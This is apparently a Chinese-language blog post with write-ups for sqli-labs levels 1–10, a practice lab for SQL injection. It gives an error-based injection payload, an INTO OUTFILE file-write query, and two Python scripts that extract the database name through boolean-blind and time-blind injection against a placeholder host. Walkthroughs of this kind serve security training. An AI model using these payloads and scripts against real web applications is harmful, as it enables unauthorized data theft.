前言:

咸鱼了一个多月没发博文了,期间猝死于期中考试、项目组互联网+创新创业比赛、以及天津旅游。现在终于又有短暂的开坑时间了。准备好好做一下 sqli-labs 的题目。并且在这个过程中尽量尝试各种 sqli 的奇技淫巧。尽可能多的学习姿势。

题解:

Less-1:

字符型注入 单引号闭合

不多说

Less-2:

数字型 直接在 id 参数值后面拼接 payload 就好了

Less-3:

单引号可以看报错信息,比 less-1 多了个括号

Less-4:

比 Less-3 多了个括号。。。。

Less-5:

有报错信息,没有回显信息。用报错注入即可:

id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

Less-6:

把 Less-5 的单引号换成双引号

Less-7:

考察利用

select * from users into outfile "path/file_name";

将数据库内容写出到文件。但是 mysql5.7 版本 多了一个secure_file_priv 的配置选项,这个选项默认值为空,在这个情况下是没有办法使用 sql 进行文件读写的。

比如 secure_file_priv = /tmp sql 就只能读写 /tmp 目录下的文件。限制还是比较大的。

Less-8:

典型的布尔盲注,简单的写了个脚本:

import requests
import string

flag = ""
sqli = "http://xxx.xxx.xxx.xxx/Less-8/?id=1'"
n = 1
while n < 30:
    for i in string.printable:
        payload = " and mid(database(),1,%s)=\"%s\"%%23" % (n, flag + i)
        r = requests.get(sqli+payload)
        if "You" in r.text:
            flag += i
            print(flag)
            break
    n += 1

Less-9:

典型的时间盲注

脚本上面的改改就行了:

import requests
import string

flag = ""
sqli = "http://xxx.xxx.xxx.xxx/Less-8/?id=1'"
n = 1
while n < 30:
    for i in string.printable:
        payload = " and if(mid(database(),1,%s)=\"%s\",sleep(3),1)%%23" % (n, flag + i)
        try:
            r = requests.get(sqli + payload, timeout=1)
        except requests.exceptions.ReadTimeout:
            flag += i
            print(flag)
            break
    n += 1

Less-10:

Less-9 的单引号变成双引号就好了